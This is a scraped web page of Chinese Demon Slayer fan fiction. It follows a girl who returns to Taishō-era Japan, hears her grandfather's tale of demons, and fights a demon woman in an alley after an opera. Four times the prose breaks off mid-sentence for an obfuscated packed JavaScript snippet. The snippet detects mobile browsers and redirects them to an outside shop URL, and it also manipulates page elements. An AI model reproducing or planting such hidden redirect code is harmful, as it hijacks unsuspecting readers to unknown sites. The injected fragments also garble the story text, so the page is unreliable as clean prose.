《[鬼灭]丁达尔效应》 1. 楔子 我回到日本时,正是大正天皇时期。日不落帝国没有能够留住我,或者说是父亲和父亲的生意,促使我们跨越相当大一部分的亚欧板块,回到母亲的故乡——母亲么、母亲教我习了很多年的日本剑术,在那些阴流教派的学徒已经在使花绞刃的时候,我还在用笨重的木剑。会有谁喜欢质地粗糙又沉重的木剑?我当然不会要求那种有铜鎏金贝母装饰的正装佩剑。然而母亲却不顾我的意愿,宁愿将那把木剑一遍一遍地打磨、涂上清漆,然后说:瞧,它一点也不硌手。 ……有一说一,它确实不硌手,但也确实很扫兴。 父亲站在甲板上,橘色的海浪翻滚,像短剑一样轻击黑白色的船身,他握着画笔的手轻轻颤抖。我叫他:父亲。他便抬起头,画纸上站立着一位握着长剑的少女,正是我的母亲。直至今日她看起来也仍旧很年轻,英姿飒爽,不过偶尔也像中心公园的小鸟,扑棱棱地飞进我父亲的怀里。我弯腰看画,噘嘴道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613399|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀,我可不开心了。 父亲笑起来,笔尖轻蘸颜料,抬手在母亲身旁画了一个小黄点。 我今天正穿着黄色的裙子。 我佯装生气地跺脚,转身回了船舱。炉火烧得不够旺,整个房间都很湿冷,仿佛能听见愤怒的海浪钻破船体间铁块的间隙的声音。我想象外祖父拄着拐杖站在码头,从他背后缓缓延伸出漂亮的日式建筑、灯光、人群,身着和服的女人,从海面上走出一条狭窄的道路。 2. 日轮刀 我几乎忘记了外祖父的模样。只有他曾抱着我穿过夏日夜晚的街道,捞了一整袋金鱼放在我手里:那些金鱼在我的手心里不安地跃动,最终跳回被龙胆花包围的庭院造景里……我还是个小宝贝时的模糊的记忆,到了这里便极快地结束了。 现在,他就背对着我们跪坐在和屋中央,墙面刷得很干净,上面挂着一个年轻女人的小画像,却不是笑着的,她穿着一件保守的咖啡色制服,扣子从她下巴之下严密地合紧,将她包裹进一种严苛的氛围中。 我朝他提裙行礼,叫了一声外祖父。他没有亲自到码头接我们,只是遣了车马和服侍的人在那里候着,侍女恭敬地将双手叠在小腹上,叫我有栖川小姐,然后伸手提过了我的小皮包。我本来想说:我是伊凡娜·兰德……母亲看着我微笑,轻轻说:“朝和,亲爱的,快上马车。” 有栖川朝和是外祖父给我起的名字。听说在母亲生产之时,他转身便回了自己的卧房,几乎一整天未进食,只是盘腿坐在榻榻米上,直到傍晚才推开门,对坐在缘侧上的父亲道:“朝和。就叫有栖川朝和。” 我不明白朝和有什么寓意,以为是与朝阳有些联系。毕竟外祖父来自中国,中国人都是诗人。管家微微鞠了一躬,说着先生、小姐和小小姐都已经到了的话。 父亲和母亲都叫了他,他由管家扶着起来——我属实已经忘记了他的模样,他笑起来时眼角的纹路,还有他微微下耷的小麦色的肌肤。他转身时,我却又有点印象了。他抬眼见我们,然后露出十分欣慰的模样:“回来了。” 母亲上去扶住他,说:“是的,总要回来见见您。” 他拍拍母亲的手,然后看向我,朝我招手,说:“朝和,你过来。” 于是我乖巧地顺着眼过去。他先伸手摸摸我的头,从我的头顶比画到他的胸前,说长高了,几年前还像米粒般大呢……朝和已经是大姑娘了。我撒娇说不是呢,朝和还是小姑娘——外公您再仔细看看,朝和是不是小姑娘? 外祖父哈哈大笑起来。他的笑声很精神,完全不像一个需要别人搀扶的人的声音。父亲上前和外祖父交谈,我站在母亲身边,一同沿着走廊朝后院去了。 他们说一些生意上的话,提到过几日要拜访什么产屋敷的现任当主……我不太清楚这些人,只是站在母亲身旁恭顺地听着。外祖父说了些最近在附近的乡下发生的事,因为在繁华的主城区并没有什么过分的事情发生…… 我想问是什么样的怪事叫人这样在意,却感到母亲放在我肩上的手微微收紧,头颅前倾,表现出十分关注的样子。 父亲低头说了声是,叮嘱我扶着外祖父去后院走一走,随后转头和母亲对视一眼,两人很快地转身回去了。 严格意义上来说,我踏上的每一块木板都有四十好几的岁数,因为母亲的世家从孝明时期就开始侍奉天皇。 我对此感到很好奇,挽着外祖父问我们家族到底是做什么的,是世袭的官职么?是天皇身边的近侍么?是不能露名的武士么?外祖父的木屐踩在地板上,发出“嗒、嗒”的声音,他说我们只是做一些特别的事。 “有多么特别呢?”我问。 “多么特别呢?”他重复着,却不再笑了。 他不笑了,因为我们正要穿过一片紫藤花束吗?还是我们正要见紫藤花后面的某个人呢? 我突然想起和屋里那位年轻女人的画像。 母亲很少和我说起外祖母。但在我毫无缘由的印象中,似乎也是同她一样手握刀剑的女人,穿剑道服,右脚蹬地随后回旋一踢,给敌人致命一击,如男人一般有力刚强。或者也真如我梦见的那样,她穿紧腰身的和服也能在海面上踮脚迅速奔跑,身影矫捷像一条飞鱼。 我看着小祠堂里外祖母的肖像。她依然那么年轻,只比先前那张画像上,眼角多了些许浅浅的痕迹——还是不笑。不过虽然气质坚韧且无温情,却终于穿上了温顺的和服,双手重叠搭放在大腿上,略微侧身看向镜头。 在肖像之前的供桌上端端正正摆着一把入鞘的刀,剑柄和剑鞘都黑得发亮,躺在刀架上藏匿着锋芒。我看着它,看了又看,我的木剑和它比起来简直像个小娃娃,一个丑陋的小东西,于是不禁感叹:实在是把漂亮的刀。 外祖父因为我赞叹这把刀而显得很高兴,皱纹顺着沟壑连在一起,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们登岛时正下着雨,天气很不好,货物运输的速度慢了很多。那时还没修起来这样一条平坦的大路,你知道吗?我们要绕过一座小山,然后到达主城区去——所以,你猜怎么着?我们果然遇上了鬼。” 那个不常听见的词语跳出来时我真怀疑自己听错了:“抱歉,什么?” 外祖父微笑道:“鬼。看来你的母亲还没有告诉你。” “告诉我什么?” “……在日本,太阳下山后,常有恶鬼出没吃人。” 3. 古有恶鬼 我露出疑惑的神情——如果可以,我真乐意笑一笑……啊,我当然没有嘲笑外祖父的意思。只是鬼怪与神明,在我看来是什么哄小孩儿的东西呢?我甚至很少在礼拜天随父亲去教堂做祷告。 想想看吧,那些整天拿着木制十字架的修女和穿小白长袍的小男孩,没日没夜无数次地重复着:主爱他们、主会宽宥他们、主永远与他们同在……他们是非得用这样的方法才能让自己深信不疑吗? 然而就算他们目眦尽裂、再努力琢磨那么几十年,主也不会给他们肯定——母亲甚至告诉我:日本有八百万神明。 然而我当然不能笑,只是从嗓子眼儿挤出一声疑问:“呃……?” 外祖父提起拐杖,在地板上笃笃地敲了两下,他是如此喜欢这些小动作。我顺着朝他走过去,一同落座在铺着的草编坐垫上。他弯腰屈腿坐下来时小声地哼哼,直到真正坐到了蒲团上,才长舒一口气:“我该从哪里说起呢?” 我提醒道:“您说天气很不好。” “噢,是的、是的……天气很不好,山里的雾浓得用小刀就能刻出字,吸进肺里就感到无法呼吸……嗯,然而我们都不愿意丢下货物,对商人来说,货物就是自己的生命……时间也是如此宝贵。我们都在企盼着能够早点回家——我们大都是从一个镇上来的,一个非常小的村镇。有个叫季子的,和我一般年纪,我们驮沉重的货物、做繁重的工作时,他老是念叨他死去的姊姊的名字……他自小没爹娘,家里穷得揭不开锅——那时还在锁国,外国人只被允许在长崎通商,后来美国人来了、尊王攘夷又失败,日子越来越难过,大多平民和中下层武士都追随着长洲蕃的蕃主高杉晋作倒幕去了——他的姊姊漂亮又能干,甚至还会写些字,这在没有普及女子教育的当时是很难得的。” 外祖父垂下眼时眼皮微微下耷,看着疲惫而困乏,衬着暗淡的眼神光,很没精神的样子。 他顿了顿,再接着说下去时带着淡淡的惋惜:“他姊姊辛苦养大了他。然而这样年轻贤惠的姑娘,却被当地的一个大名抢去强占了,很长时间毫无消息……再听说的时候,都说她偷了主家的珍珠粉,被人活活打死了。” 我忍不住问:“为什么会这样呢?” “唉,”外祖父叹了一口气,“为什么呢?” “那么……”我知道倒幕运动和明治维新,母亲常跟我说起。倒幕运动失败了,明治维新却成功,但是在当时,平民也并没有选择自己命运的权利。或许失去姊姊的季子先生也是加入长洲蕃的一员,这猜想叫我小心翼翼地问道,“季子先生如今是否健在呢?” 外祖父的嘴唇像鱼一样翕动了一下,他的牙槽骨随着年龄增长而渐渐塌陷,所以下嘴唇凹进了嘴里,每次张口时贴合着下排牙的嘴唇总是濡湿。他沉默了一会儿,忽视了我的问题:“……我们拼命地逃,丢下手里的所有物什;一些人不愿意丢下货物,被我们甩在身后,立刻就死去了。” 死亡总是突如其来,它从不在意别人有无做好接纳它的准备。而顺应死亡真是太容易了,对穷人来说更是如此。一个人活下去,是不是对死者的背叛呢? “我们都不敢回头,只是往前奔跑,我甚至能感受到一个怪物紧追在我身后,他呼出的气体和山里的大雾融在一起,沉重地打在我的后颈、面颊和裸露的皮肤上。季子跑得很快,他大叫着我的名字,要我好好想想还没长大的弟弟。可是他能想着什么呢?一个已逝之人的音容,一个梦。” “啊、那么……” 外祖父转动眼珠,瞥了我一眼,随后又将眼神移到了画像上。不得不说,他转动眼珠时的狡黠劲儿,确实非常像一个精明的商人。然而他并没有回答我的打算,只是自顾自地顺着说下去。 “我什么也没想,什么也顾不上想,只是一味跑着……却跑得太急,被一根倒塌下来的树柱绊倒了。随后我顺着山坡滚落下来,大雾和湿润的泥土、凸出的石块,还有季子的呼喊。那些都像风一样随着我的意识远去了。” “……当我醒来时,我正睡在一张榻榻米上,浑身缠满了绷带。空荡荡的狭小房间,炉子里生着火,茶壶嘴冒着水汽,外头正下着雪……” 眯起眼睛,一副正身处其境的样子。 “雪下得很大……”他再一次看到了那一天,用回忆中的双眼。 我盯着外祖父,没有说话。 怎么讲呢?劫后余生,仍有温暖的炉子等着他,只要他愿意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人抬起头,他已经穿好了衣服,端正地跪坐在矮桌前,一副十分谦卑的模样。妍瑰皱起了鼻子,做出非常疑惑的表情,她还没有来得及将日轮刀收回鞘中,刀尖滚下两颗雪粒,她的衣服都湿透了。 “感谢您救下我。” 他持生硬的日语,朝她毕恭毕敬地躬下了身——他受了伤,弓背的时候疼得嘶了一声——他竭力压住这声音,却仍让妍瑰吓得后退一步。她在这时才感觉到自己的双手冰冷,屋内却很温暖,这样的温度差叫她的手刺疼。 他不知想到什么,全身发抖,却没有立刻直起身来。妍瑰盯着他看了一会儿,反手将刀在袖子上擦过,拭去水痕后稳稳入鞘,轻飘飘地说:“噢,您在说什么呢?雪下得真大啊。” 4. 麦克白 《圣经》讲:日光之下,并无新事。 万芳勋仍然跪坐在矮桌前,背挺得很直,却始终没有抬头,这使得他的身形看起来很拘谨。妍瑰为他倒了一杯茶,那已经是几个月前从集市上称来的散装茶叶了,而屋内又往往湿冷,角落到处堆放着烧火用的柴木,在这样的环境下,茶叶哪怕不变质也会有口感上的变化。不过妍瑰倒是不太在意,而她面前这位…… “你为什么不抬头看我呢,万先生?”妍瑰问道。 “噢,我……”万芳勋嗫嚅道,伸出双手接过了茶,他抬起眼睛、动作那么迅速,但那视线一接触到桌案上横摆的日本刀又立刻垂下,“我想说的是……和我一同前来的商人们……” “您要先和我道歉。” “什么?” “您要和我道歉。”妍瑰盯着不知所措的万芳勋平静地重复。 她的眼睛是棕色的,你绝不可能俯下身去观察脚下的泥土地,除非它生长在某个人的眼睛里。 万芳勋是个商人(虽然现在只是个学徒),他有精明的头脑,他所在的城镇有数间商铺,仲夏一到,挤入市场的西洋产品便琳琅满目地占据所有橱窗;然而,拥堵在柜台前的人们永远不可能买到最有意义的东西,当然,太遗憾了,他们买不到他面前这位姑娘清澈的眼睛——某种意义上来说,感谢佛祖,他们买不到这个。 “是的。我很抱……” “啊,算了,”妍瑰很快改变主意,打断他的从善如流,“你的一些商人朋友,我们将他们送到镇上的医馆去了。” 万芳勋随即露出惊讶而感激的神情,再次慌忙膝行着退后朝她伏身行礼,而妍瑰只是微笑着,不再说话,她看起来是多么神气。他们面对面地坐着,茶杯之中升起一束热气,让他们隔了一层雾墙。万芳勋注意到她开始用绒布擦拭她的刀具。 “……您的刀是什么材质做的?”这把刀看起来格外不同,刀身是浓丽的赤红色。 “这个吗?”妍瑰停下手中的动作,顺着他的眼神凝眸在刀上,“猩猩绯砂铁和猩猩绯矿石。” “什么?” “吸收了太阳光的铁矿,我们用它来砍杀‘鬼’。”妍瑰又在细细打量他,“万先生应该不太清楚‘鬼’吧?你是中国来的商人。你们为什么要在那种天气越过森林呢?村民没有同你们讲不要在晚上穿过森林吗?” 她讲话速度很快——一位干练又干脆的小姐,万芳勋要全部听懂她略带京都口音的话显然非常困难。身处异乡之时,陌生的语言自个儿就能筑起一道围墙,隔绝他与外界的声音,而作为一个商人,日常无非只是重复着递交货物和拿过钱财。生活有时就是这么一回事。 …… …… …… 我回到日本时正是仲夏。没赶上去参加著名的樱花祭,日子就在逐渐升高的气温里匆匆地过去了。 然而事实上在这里我总是欠缺一些观察万物的热情,有栖川氏偌大的宅邸中让我中意的只剩下冰冷的刀具——那些用纯碳钢做成的刀摸起来是什么感觉?平纹棉布一圈一圈缠紧刀柄,因为总是被汗涔涔的手握住,时间长了就发黄。 我做了一个冗长的梦,我梦到一双紧握刀柄的手,而那五指葱白般细长,久久地持着那柄被安置在小祠堂中的日轮刀。 外祖父没有特意遣给我多的侍女,照他的意思是:不必这样麻烦的。他讲我是有栖川家的女儿,总有一天是要握住刀柄的人,怎么可以事事由人服侍。我当然坦然接受了,不被侍女约束体态、礼仪和规矩的感觉真令我快乐,虽然这样的快乐只会维持两天。 和屋的门半开着,夕阳好像滚烫的流沙,涌入炙热的地平线——啊,我看不见地平线,我心中自有一片海。 外祖父前几天提到他生意上的一些朋友,说是要来拜访父亲并进行一些商业往来。巧的是他们家也大多有同我一般年纪的小女儿,而主城区又新开了一家歌剧院。只要他们想,那些巧舌如簧的嘴就总能找到理由:正是临近夏日祭的日子,不能叫有栖川家的小小姐没有同龄朋友地度过。 外祖父欣然应允,他很乐意我多交些朋友,却不乐意正面应允我想要一把真刀的愿望——哪怕不如外祖母的那把刀那么漂亮。不过,又或许是父亲和母亲同他说了些什么,才让他犹豫了。无论是什么,我都觉得不太开心,母亲太过于爱护我了,她总觉得我永远是她抱在怀里的小宝贝。 “去哪里呢?”母亲关心地问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613402|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “和几位小姐约了去看歌剧。”我回答。 “主城区新开的那个歌剧院么?”母亲问,“看什么歌剧?” “《麦克白》。”我回答,将头发都拨到左边肩头,轻轻戴上珍珠项链——外祖母的珍珠项链,它太圆润光滑了,我感觉仿佛一段丝绸飘过我的锁骨。母亲替我擦了擦耳环,上面缀了几颗水晶,当我摇晃起来时,水晶相碰发出声音。 “你不必这样晚才去。”母亲说,担心地皱起眉,语气近乎请求的意思。 “这些都没关系,母亲。”我理了理裙摆的褶皱,披上丝织坎肩。父亲递过来一把手枪,放进了我的小羊皮包里。我倒是很喜欢枪,但那也得分场合,毕竟它是真的有惊人的后坐力,我不想被震得手指疼。 “是的,没关系,”父亲接过话题,他宽慰地搂住母亲,要我保证,“但是你要尽早回来,不要让母亲担心。” 于是我一边乖乖承诺着会注意安全,一边直奔门外去。 我发誓我并不在乎《麦克白》,莎士比亚的经典戏剧实在很有意思(除了《罗密欧与朱丽叶》),但我早已经一一读过,也看过不少场歌剧了;那些小姐们,她们——她们当然也好,穿着漂亮的和服,围在一起说话时,像一群叽叽喳喳的小麻雀。 剧院坐落在东京最热闹的街区,与边上那些日式的木制建筑相比,修筑得太高了,更像个城堡。父亲亲自开车送我到了那里,这是我到日本后第一次没人陪同的出行,他很警惕,一直在观察四周。 小麻雀们就在剧院一楼的等待区围坐着,她们没穿和服——天哪,我对和服的执念一定是来源于我的外祖母。我挽着父亲走过去和她们问好。剧院里有着不少人,大家都打扮得光鲜亮丽,与在伦敦能看到的似乎没有两样。 “我们以为您不会来了!”一个小麻雀这样说道。 “怎么会呢?”我笑起来。 “最近实在闹腾得厉害,听说主城区最近发生了几起恶意伤人事件……其实我的母亲也不想让我出门的。” “噢,那个么……”我偏过头,隔着皮草摸了摸父亲放进去的手枪。凭他是谁呢,就算是外祖父口中所说的“鬼”,我也不会放在眼里。 5. 夜市 “如果我在一个小时前死去,我的人生将是幸福的一生。” 坐在我前方的女士穿着和服,盘起的乌墨发髻下缀着的水晶头饰随着她微微低头而颤动,那仿佛是什么天然的能量、强烈的磁场,使我无法移开视线,让我不禁想象起清水流过她发饰上湛蓝的水晶会是什么样?它会发光,也会发出流水的声音么? 她身旁的男士凑近了,两人的侧脸在强烈的灯光下成为一对剪影,女士的嘴唇像鱼一样翕动起来,他们亲吻,唇间开出一朵花,男士温柔地向她表达爱意。 那些小姐们害羞地捂住眼睛。幕布逐渐地放下,观众席的灯光亮了起来。演员们依次走出后台,向观众席整齐而礼貌地鞠躬致意。 “有栖川小姐……您愿意和我一同回去吗?”高桥家的小姐侧过身子面向我,支支吾吾地问——我对高桥氏有着很深的印象,他们自称是做裁缝起家的,那显然只是自谦。便是现在他们也只为天皇和贵族大臣定制服装。 我有幸在前几天得到一件和服,是外祖父很早就托人告知了高桥先生。正绢布料是人工手染的银白色,光照下泛滥着丝绸般的润润光泽,而袖摆上绽放的花纹并非采用印染工艺,是高桥夫人亲自绣的。 高桥氏个子娇小,不爱说话,连身上的小洋裙也是低调的奶黄色,与她家族世代相传的美名不符,都没有几处缀女孩儿们喜欢的蕾丝边和蝴蝶结。我堆起一个歉意的笑,拉着她的手向她道歉:“啊,真对不起,高桥小姐,司机也许正在剧院外等着我。” 她撇了撇嘴,将失落的神情压了下去。我们一同走出剧场时,她如被惊扰到的雀儿回头看了一眼。 “您在看什么?”我问。 “噢,没有什么,”她拍了拍裙子,“我、我在想……我在想那件和服有些眼熟。” “高桥氏经手的别致和服简直太多了,”我说,“究竟是什么样的和服会让您记得呢?” “嗯,确实是这样的,只是……”她歪头想了想,大约是从那记忆里翻出的某个瞬间炸裂,她突然露出惊恐的表情,不再和我说话。恰巧这时,走出剧场的人像一群即将飞跃到河流上游产卵的大马哈鱼,我和高桥小姐很快就被挤了出来。 工作人员开始组织人群有顺序地疏散,清洁人员逆着人流撞了进去,清场工作简直像一场战争。站在走廊中间,各个剧场的舞台声效从门缝溜到走廊,汇成杂乱的躁鸣,我们几乎是逃下了旋转楼梯。 在剧院门口和各位小姐道别晚安后,我便调转方向往街道另一头走去。 我本就打算在夜市逛逛,特意嘱咐司机不用提前来接我。因为,没有什么可怕的,我也不会像不要命的醉酒流浪汉,去未知的羊肠小巷找死。无数穿和服的男人女人与我擦肩而过,商贩向我叫卖珠宝和玛瑙——瞧瞧他们如何将赝品捧成奇珍异宝,我很乐意长些嘴皮子上的见识。 街道很窄,人贴着人。灯光是暖黄色的,我走在街道的正中。这很有意思,人们的面容急匆匆地掠过,一张一张地重合在一起,每个人的眼睛此时都相似。大多人都穿着五颜六色的和服,环顾四周,穿束腰侧开衩长裙的当然只有我,镂空灯笼袖比宽大的留袖和振袖看起来轻便多了。 母亲竭力给我戴上手套,毕竟哪家大人不希望自己姑娘看起来优雅精致些,但这让我很不好拿枪……我是说这让我很不好拿包。 不过——嗯,在与千篇一律的旁人擦肩而过之后,我为自己没有和任何一位女士撞衫而感到无比庆幸。 我理了理帽子,将步伐放缓,偶尔停下来低头看看绒面布上码好的发饰、耳环、项链。从繁华的货物间低头往前走,我也未看前路,只感受到一阵突然生成的剧烈的喘息像一阵风,我是说一个人像一阵龙卷风……无论如何!在我毫无防备的情况下,一个少年如一道闪电,直直地撞倒我!我该怎么说,他简直像一头牛在冲刺? “你!” 我气急败坏地回头,直接吃了几口扬起来的灰尘,只能看见绝尘而去的身影还有一双几乎磨破的鞋底。 ……我好气哦!! 站在我身边看首饰的好心小姐连忙将我扶起来。人流这样大,若是被不小心踩上一脚那才麻烦了。我一边咳嗽一边与她道谢——天哪!我的嘴里全是沙子,呛得我的喉咙难受!而那少年冲刺得也太用力了,我的肩膀几乎要散架。 街中心有一家卖和式糕点的流动摊,整条长街没有比那里更好吃的栗羊羹了,这是那位好心的小姐告诉我的,顺便和我吐槽了少年的鲁莽。她斜着眼,说乡下人就是这样。 不过就算我才刚刚整理好心情,准备尝尝裹了草莓的大福,这时我的快乐又碎了一地。因为人群突然骚动起来,木屐踩在地上的动静像极了一群迁徙的老鼠,遇上了体态庞大的天敌,这简直把他们吓得脑袋都没了。 事情是这样的……唉,这说出来简直叫人窘迫,从那人头攒动间我隐约看到的画面判断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613403|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,估计是那位小姐的老公犯了什么病,一口咬住了她的肩膀。这简直……匪夷所思!我是说他们甚至都不知道狂犬病的利害,还敢轻易带人出来闹市。 “如果冷冻会保存得久一些么?”我抬头问商贩,一边尽量往边上靠,我穿的可是露脚背的高跟鞋,他们看热闹时可千万别给我来上一脚。 “这可不能冷冻,太影响口感了。羊羹和大福的保质期都很短,小姐。现在是夏天。”老板是个已经谢顶的中年男人,此时正一边伸出头去瞧围成一团的人群,一边自顾自地在零钱包里寻找零钱,还不停嘟囔道,“您怎么拿这么大份额的钱出来,我还以为您在给我□□呢……” 我说:“您的眼神都要变成一条巨蟒,碾压围观的人群,直接到最中心的位置去看热闹了。” 老板笑起来,不好意思地挠挠头:“哎哟,您说的这是什么话。” 我没有打算走上前去一看究竟。我一向不喜欢凑热闹,随波逐流去瞧别人的笑话,那不是我能做出来的事。我本来还打算买上那么一盒章鱼小丸子,但人群中心那个撞倒了我的少年正在嘶吼的言辞太可怕了,他听起来像是精神错乱。有了先前被撞到的前车之鉴,我要赶快离开这个是非之地。 于是我直接离开了。掉头重新往剧院方向走去,在门口总是停着几辆接活儿的人力车。我得赶紧离开这里了,少年的声音实在太大,叫喊着我会追赶你到地狱尽头,然后把你的头砍下来什么的——天啊,难道他不知道明治维新之后颁布了禁刀令,武士多少该低调些吗? 回到剧院门口要经过一个冷清的巷子,方才人来人往还显得有些人气,这会儿人都走开了,月光照射在那些寂静的木头屋子上,真有些荒凉。我又走了几步,听见车门打开又关上的声音。 谁会在这里停车呢? 我眯眼,看见一位男士正拉扯着一位女士下车。他攥着女士的手腕,用力地掰过她的脸,双唇毫无意外地贴紧,仿佛他们本就该在那里。女士的唇缝中溜出一丝颤颤巍巍的喘息,双手攀上男士的脖颈,竟已香肩外露。 ……我什么也没看见,我什么也没看见。我悄悄地准备快步走开,趁他们还未发现有个外人,不然该多窘迫啊!而且,我已经认出了那位女士,她的水晶缀饰实在太漂亮了。 毕竟—— 我猛地回头,相拥亲吻的恋人之中,男人的胸膛空空的,透过那里,我看见灯火辉煌的麦克白剧院,和一张女人的脸。 6. 珍珠项链 我不自觉后退一步,右小腿支撑动作的那根筋正僵硬地绷直,像个靠细线支棱起来的悬丝傀儡。男人缓缓朝后倒去,我手里的栗羊羹也应声落了地。 女人优雅地直起身,她还是微微笑着,并不说什么话。我都不知道自己是在什么时候抵上湿的砖墙,长满青苔雨痕的墙皮正一片一片地脱落。我没能作出及时的反应,心里却滚过一个念头:这算什么事?叫我碰上一桩凶杀案……母亲会被吓坏的! 我确信自己已经被女人听见了,在这个幽深寂静的小巷口,高跟鞋慌乱的声音不会骗她。 我能做些什么? 假使我掏出枪来反抗,无意将她打死了,这不算我的过错吧?然而既然她能把男人的胸膛掏出个洞——天啊,究竟该是怎样的凶手才能徒手将人开膛破肚?比我呼吸声更吵的只能是我的心跳——恐怕她将我这柔弱的少女撕成碎片也是轻而易举……我是说最好当作无事发生,我不想惹祸上身。 只是这样我便无法再返回麦克白剧院了,不如直接给父亲打个电话吧——这么想着,我已经打开皮包的手又缩了回来,紧张地屏息弯腰解开脚腕上缠着的一字绑扣,左脚跟略微使力抵住墙根,将高跟鞋脱了下来。 然后是右脚。天知道这跟多高! 我低着头,双脚逐渐踩实地面。这里离开阔的入口只有二十米。四周死寂,我一手提着高跟鞋,一手扶着墙面。这面墙被拆除了一半,很遗憾,它不能掩护我走到巷口,能依靠的只有我逃跑的速度——毕竟她是个穿着和服的女人,还踩着木屐,她不可能追上我…… ……笃 ……笃、笃! ……! 一层恐惧猛然浮上喉咙。最初时我当然什么都没看到,只是突然后背一凉,直觉拉响警报,比起冲出去,停顿的动作或许更快些,我清晰地感觉到手臂起了一层鸡皮疙瘩。 我僵直地盯着眼前的木屐,绣球花纹沿着银磁蓝色和服向上攀。 来不及了!我在脑海中飞快闪过对着沙袋练习过无数次的自由搏击术——将重心移到左脚脚尖,再控制身体轻轻旋转,勾起右腿绷直脚背,保持冷静,迅速出击! 她却利落地回旋、翻转、落地,完全躲过我飞甩出去的右腿,轻盈得像极了某种猫科动物,连和服的振袖都翩然摆动,四周扬起一阵灰尘。我重心不稳打了个趔趄,左脚落地后只能堪堪用力踩稳地面,进攻太莽撞了,这下只能迅速后退,我趁机从包里拽出手枪,在女人落地之时瞄准她的膝盖扣下扳机。 不止一枪——那会儿当然什么都想不到,能不能击中,或者击不中该怎么办,但我只能相信自己。 女人的右腿因为子弹炸开的强大冲击力往后甩去,上半身直直倒在地上。我死死盯着她,食指在松开扳机时才能安慰自己:这只是、只是正当防卫,我是对着腿开枪的,没想杀她,是她自己扑过来的……在我准备收起手枪时,趴在地上的女人突然抬起头,我一阵错愕,吓得身子后仰,跌坐在了地上。 这个人什么情况? 我们如此对峙超过了十秒,我的眼睛因为太过用力地集中聚焦产生了失焦感,那张温婉的脸逐渐变形,她发髻上簪着的水晶还在不停地晃动。 “您这是做什么?”她突然开口问。 常识正在抛弃我,在这个深晦的夜里,比起愁绪与恐惧,更浓烈的无疑是惊讶,我在那个时刻变得如一粒微尘般渺小,但无法理解的现状顷刻间又将我带回,惊惧终于控制了我,在无状的劝告中让我重新握紧手枪。 “外面有警察!你识相点,不要逼我再开枪!”这话脱口而出该有多色厉内荏,我的喉口正因干涩而一阵阵缩紧。 她愣了一秒,随后笑起来。我这时才发现她并不是一直在看着我,而是一直在端详我手里的手枪。她仰头大笑,脸色苍白,尖细的笑声划破空气甚至我的耳膜,我又听见她头上水晶缀饰相互碰挤的声音。 她的笑声突地停住,深深望向我,冷笑:“现在这种东西对我又有什么用呢,小姐?” 急剧变化的气流迅速包围狭窄的小巷,一声尖锐的咆哮仿佛从天而降,慌忙之中我再次扣动扳机,子弹还没来得及擦着枪管射出,一只手堵住了枪口,只听一声闷响,血肉就在我面前炸开,我身上、她身上,溅了满身的血点,但她看着安然无事,连脸上诡魅的笑容都没改变分毫。 可手枪的后坐力震得我的手发软,只能迅速丢掉手枪后退。该死!塞满枪膛的子弹也不过六发,竟然根本不够用!不过女人的动作更快,右手急速扑上来试图用那几根细长的手指抓住我的脖子,我借机抓紧她的右臂,左腿奋力上冲,满身的力气在这一刻全部集中,踹得女人的骨头嘎吱一声,随即我右脚站定,握紧女人的右臂发力,一个过肩摔将她重重砸倒在地。 一切都发生在瞬息间。只有我的项链被扯断,珍珠洒落一地,砸出噼里啪啦的余音。 我还没有来得及平复呼吸,身体已经抽身急退,往巷口飞速跑去,我想她或许断了几根骨头,不可能再起来了。 就在我奔向拐角、正要大呼救命之时,一只冰冷的穿过月色的手猛地从后面锢住我的嘴,她手掌心还留有子弹炸开的硝烟味与浓重的血腥气,咸腥的海浪登时裹住我的呼吸,腰上传来一阵剧痛,女人不知道什么时候追上了我! 眼见拐角离我越来越远,我心一横,双脚猛力扎到地面,借皮肤的阻力想要拉慢女人的速度,然而她的力气大得惊人!我挣扎着伸出右手去寻她的眼睛,双脚抬起勾住她的膝盖后方,没别的办法了!我低头,随后右手食指竭力朝那柔软处一戳—— 女人吃痛地锢紧我的腰,速度明显放慢,然而我把她想得太愚蠢,她反手拨到我的下巴和脖颈处,只要她稍一用力,我的头立刻就能和身子分离。我因为恐惧不断吞咽口水,女人轻笑一声,凑近我耳边:“您和他一样……” 